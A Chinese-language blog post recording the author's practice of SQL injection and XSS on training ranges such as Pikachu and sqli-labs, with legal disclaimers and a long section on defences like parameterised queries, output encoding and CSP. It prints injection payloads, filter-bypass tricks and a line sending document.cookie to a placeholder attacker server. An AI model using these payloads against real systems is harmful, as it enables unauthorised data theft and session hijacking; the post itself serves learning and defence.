法律边界声明(请务必先读)
本文所有操作均在本人搭建或公开授权的靶场环境中完成,仅用于学习漏洞原理。
未经授权对他人系统进行 SQL 注入、XSS 等测试,违反《中华人民共和国网络安全法》,
情节严重的触犯《刑法》第 285 条、第 286 条,是刑事犯罪。
请只在自己的环境或明确授权的靶场里练习。
为什么开始碰 Web 安全
我本来主要在折腾逆向,直到有一次分析一个客户端程序,发现它的授权校验是从服务器拿的——绕过客户端根本没用,真正的口子在服务端。那次之后我意识到:只懂逆向,视野是残缺的。
于是决定把 Web 这块的基础漏洞过一遍。这篇文章是我的学习流水账,记录我用了哪些靶场、卡在哪儿、以及最后搞懂了什么。
靶场怎么选
| 靶场 | 特点 | 适合阶段 |
|---|---|---|
| 皮卡丘(Pikachu) | 国内最经典的 Web 漏洞练习平台,PHP 写的,一个页面一类漏洞,覆盖 SQL 注入 / XSS / CSRF / 文件包含 / 命令执行等十几类 | 入门首选,把概念过一遍 |
| 封神台 | 偏 CTF 实战,题目更贴近真实业务场景,往往带过滤和 WAF | 进阶,练绕过思路 |
| sqli-labs | 只练 SQL 注入,65 关,把注入类型拆得极细 | 专精 SQL 注入 |
| DVWA | 每个漏洞分低/中/高/不可能四档难度,能清楚看到"防御是怎么加上的" | 理解防御 |
| PortSwigger Academy | 英文,但讲解质量最高,且免费 | 系统补漏 |
我的路线是:皮卡丘过概念 → sqli-labs 拆细 → 封神台练绕过 → DVWA 看防御。
一、SQL 注入
1.1 一句话原理
程序把用户输入当成 SQL 代码拼进了语句里。比如:
1 | // 危险写法 |
正常输入 admin,拼出来是:
1 | SELECT * FROM users WHERE username = 'admin' |
但如果输入 ' OR '1'='1,就变成了:
1 | SELECT * FROM users WHERE username = '' OR '1'='1' |
条件永远为真,整张表被拖出来。本质是数据越界成了代码。
1.2 注入点怎么判断
皮卡丘第一关我就卡住了——不知道从哪儿下手。后来总结出固定套路:
第一步:找参数。 只要 URL 里有 ?id=1、?name= 这种,就是候选。
第二步:试探闭合方式。 分别试这几个,看报错信息的不同:
1 | 1' → 单引号闭合 |
判断技巧:输入 1' 报错、输入 1'' 又正常,基本可以确定是单引号字符型。
第三步:数字型还是字符型。
id=1 and 1=1正常、id=1 and 1=2异常 → 数字型- 上面两个没反应,但
id=1' and '1'='1正常、id=1' and '1'='2异常 → 字符型
我踩的第一个坑:--注释在 MySQL 里必须后面跟一个空格(写成--),直接写--是不生效的。我在这一关卡了快半小时,一直以为 payload 写错了,其实是注释没生效、后半句 SQL 报语法错误。
用#也能注释,而且不受空格限制,但#在 URL 里要写成%23。
1.3 联合查询注入(有回显)
这是最舒服的一种,因为页面会直接把查询结果打出来。
1 | # 1. 猜字段数 |
0x3a 是冒号 : 的十六进制写法,用来把用户名和密码隔开——直接写 ':' 容易被引号问题搞乱。
⚠️ 关键细节:id=-1。为什么要用负数?因为如果写 id=1,第一条查询有结果,页面就返回它了,你 union 出来的第二行根本不会显示。用一个查不到结果的值(负数、或者 99999),才能让 union 的结果占住回显位。
坑:我一开始用 id=1' union select ...,页面只显示第一篇文章,以为是回显位没对上,其实是第一条查询本身有结果。这个细节网上教程基本都不强调,但不知道就永远打不出来。1.4 报错注入(无回显但有报错)
页面不显示查询结果,但会打印数据库报错信息时用它。皮卡丘里有几关专门是这种。
1 | # extractvalue 方式 |
0x7e 是波浪号 ~,用作分隔符,方便从报错信息里一眼找到我们塞进去的数据。
报错大概长这样:
1 | XPATH syntax error: '~pikachu~' |
坑:
updatexml和extractvalue都只能返回 32 个字符,超长会被截断。要取长内容得配合substr()分段取:
1and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)我第一次爆表名只出来一半,还以为是数据有问题。
1.5 盲注(啥都不回显)
页面既不显示结果、也不打印报错,只能靠"对/错"或者"响应时间"一点点问出来。皮卡丘里对应的是布尔盲注和时间盲注。
布尔盲注:靠页面正不正常来判断
1 | # 猜数据库名的第一个字符是不是 'p' |
页面正常 → 猜对了;页面异常/空白 → 猜错了。字符集一个一个试,最后用脚本跑。
1 | # 示意:实际用靶场时写的小脚本 |
时间盲注:页面完全没差别时
页面无论对错都长得一样,那就让数据库"卡一下":
1 | ?id=1' and if(substr(database(),1,1)='p',sleep(3),0) -- |
响应等了 3 秒 → 猜对了;秒回 → 猜错了。
坑:sleep()在 MySQL 里有效,但如果目标是 SQLite 或 SQL Server 就要换写法(SQLite 没有sleep(),SQL Server 用WAITFOR DELAY)。
这个坑我在封神台某道题上遇到的——我用sleep()怎么打都没反应,后来才意识到后端是 SQLite,改用randomblob(100000000)这类靠计算量制造延迟的写法才有反应。
1.6 封神台上的绕过
封神台的题明显比皮卡丘"脏"——它会过滤关键字。我遇到并解决的几种:
| 过滤的东西 | 绕过方式 | 说明 | ||
|---|---|---|---|---|
| 空格 | /**/ 或 %09(Tab) | union/**/select | ||
and / or | && / `\ | \ | ,或双写 anandd` | |
union select | 大小写混写 UnIoN SeLeCt、内联注释 /*!union*/ | |||
| 逗号 | substr(x from 1 for 1) 或 limit 0,1 换 limit 1 offset 0 | |||
| 引号 | 0x 十六进制、char() | 'admin' → 0x61646d696e |
最大的心得:绕过不是靠背,是靠先判断"是什么被过滤了"。我的流程是:
- 把 payload 逐段删,看哪一段开始报错 → 定位被过滤的关键字
- 再针对那个关键字找替代写法
上来就瞎试各种乱码,效率极低。
二、XSS
2.1 原理
跟 SQL 注入是一体两面:SQL 注入是数据被当成 SQL 代码,XSS 是数据被当成 HTML/JS 代码执行。
1 | // 危险写法:直接把用户输入打印到页面 |
如果 keyword 是 <script>alert(1)</script>,这段脚本就会在其他访客的浏览器里执行。
2.2 三种类型
| 类型 | 触发方式 | 危害 | 皮卡丘对应 |
|---|---|---|---|
| 反射型 | payload 在 URL 里,需要诱导受害者点击 | 一次性,主要用来钓鱼/盗 Cookie | 反射型 XSS |
| 存储型 | payload 存进数据库,每个访问者都会中招 | 最严重 | 存储型 XSS |
| DOM 型 | 完全在前端 JS 里发生,请求根本不发给服务器 | 抓包看不到 | DOM 型 XSS |
2.3 皮卡丘实操
反射型:在搜索框输入
1 | <script>alert('xss')</script> |
页面直接把搜索词原样输出到 HTML 里,脚本执行。
存储型:在留言板提交
1 | <script>alert(document.cookie)</script> |
提交后刷新页面还会弹——因为 payload 存进了数据库,每个访问留言板的人都会中招。这就是它比反射型危险的地方。
DOM 型:这个最有意思,我在这一关卡了好久。
页面里有类似这样的前端代码:
1 | document.getElementById('output').innerHTML = decodeURI(location.hash.substring(1)); |
它从 URL 的 # 后面取内容,直接塞进 innerHTML。所以:
1 | http://靶场/dom.html#<img src=1 onerror=alert(1)> |
关键点:payload 在 # 后面,浏览器根本不会把这个部分发给服务器。 所以你在 Burp 里抓包,看到的是一个干干净净的请求,完全没有 payload 的痕迹。
我在这儿的坑:一开始一直在 Burp 里翻请求,死活找不到 payload 在哪儿,怀疑是抓包没抓到。
后来才明白:DOM 型 XSS 的攻击面完全在浏览器端,必须在 F12 的 Elements/Console 里调试,抓包工具帮不上忙。这个认知转变挺重要的。
2.4 常见绕过
皮卡丘难度低基本不拦,封神台上就要绕了:
1 | <!-- 1. 标签被过滤 → 换事件属性 --> |
2.5 Cookie 与 HttpOnly
XSS 最经典的利用是偷 Cookie:
1 | <script>new Image().src='http://我的服务器/steal?c='+document.cookie</script> |
但如果目标站给 Cookie 加了 HttpOnly 标记:
1 | Set-Cookie: PHPSESSID=xxx; HttpOnly |
那 document.cookie 读不到这个 Cookie,偷取就失败了。
这也是我理解"防御"的转折点:一个标记就能废掉一整类攻击。下面细说。
三、防御(我觉得比攻击更值得学)
打完靶场回头看防御,会发现思路其实非常统一。
3.1 SQL 注入
根本解:预编译 / 参数化查询
1 | // 错误:拼接 |
为什么这个能根治?因为参数化查询会把"SQL 结构"和"数据"在协议层就分开传输,数据库永远不会把你传的字符串解析成 SQL 语法。不是"过滤掉了危险字符",而是根本不存在被解析成代码的机会。
这是本质区别——过滤是黑名单,永远在追赶;参数化是白名单式的结构性防御。
配套的:
- ORM(如 MyBatis 的
#{}而非${}) - 数据库账号最小权限(只给
SELECT/INSERT,不给FILE、不给DROP) - 关闭详细报错回显(
display_errors = Off) - WAF(只是缓解,不能依赖)
3.2 XSS
根本解:输出编码(按上下文)
1 | // HTML 上下文 |
关键认知:XSS 漏洞发生在"输出"环节,不是"输入"环节。
很多人以为"过滤 <script>"就能防 XSS,这是错的——因为:
- 同一个数据可能被输出到 HTML、JS、URL 等不同上下文,需要的编码方式完全不同
<img onerror=>里根本没有<script>- 输入过滤会误伤正常内容(比如你想在博客里写代码教程)
正确做法是:输入时只做校验(长度、类型),输出时按上下文编码。
配套的:
- CSP(内容安全策略):
Content-Security-Policy: default-src 'self'—— 直接从浏览器层面禁止执行内联脚本,威力极大 - HttpOnly Cookie:让 JS 读不到会话 Cookie
- 富文本用成熟的白名单过滤器(如 DOMPurify),别自己写正则
3.3 一个统一的认知
| 漏洞 | 本质 |
|---|---|
| SQL 注入 | 数据 → 被当成 SQL 代码 |
| XSS | 数据 → 被当成 HTML/JS 代码 |
| 命令注入 | 数据 → 被当成 Shell 命令 |
| 文件包含 | 数据 → 被当成文件路径 |
| XXE | 数据 → 被当成 XML 实体 |
所有注入类漏洞都是同一个病:把不可信数据当成了代码/指令。 理解了这一条,防御思路自然就统一了——在数据和代码的边界上做隔离,而不是追着黑名单跑。
四、工具
| 工具 | 用途 |
|---|---|
| Burp Suite 社区版 | 抓包、改包、重放,我认为是必装的第一个工具 |
| sqlmap | 自动化注入,但只可用于授权靶场,实战中用它会让你忽略原理 |
| F12 开发者工具 | DOM 型 XSS 必备,Console 里直接试 payload |
| HackBar / 浏览器插件 | 快速改 URL 参数 |
关于 sqlmap:我建议先用手工打一遍,再用 sqlmap 验证。
一开始就用 sqlmap 跑,你会得到结果但完全不知道为什么——靶场的价值就在于"为什么"。
五、我的心得
1. 靶场是"已知答案的题",真实环境才是考试。
皮卡丘和 sqli-labs 打完之后我一度觉得自己会了,直到在封神台碰到要绕 WAF 的题,才发现靶场那些 payload 一个都用不上。真实环境里有:参数化查询(根本打不进去)、各种过滤、WAF、日志监控。
2. 学防御比学攻击重要。
打完靶场我最大的收获不是"会打注入了",而是写代码时开始条件反射地用参数化查询,看到 echo $_GET[...] 会本能地觉得不对。这个习惯比会几个 payload 值钱得多。
3. 靶场分数不等于能力。
CTF 和靶场有固定套路,打得多了会形成"条件反射式解题"——看到数字型就 union,看到留言板就 <script>alert(1)。但真实业务不会给你这么标准的入口。能想明白"这里为什么会有漏洞",比能打通关更重要。
4. 一定要守住法律边界。
这一条放最后但最重要。我全程只在自建环境和公开靶场里操作。技术本身无善恶,但越界就是犯罪——这条线必须划死。
下一步
接下来打算补这几块:
- [ ] CSRF 与 SSRF
- [ ] 文件上传绕过(配合我之前的逆向知识看 WAF 原理)
- [ ] 反序列化漏洞(Java / PHP)
- [ ] PortSwigger Academy 把 XXE、SSTI 系统过一遍
慢慢来,记录在此,也算给自己一个交代。
本文所有内容仅用于学习交流,请勿用于任何未授权测试。
http://lintp.cn:5013/s/e1FW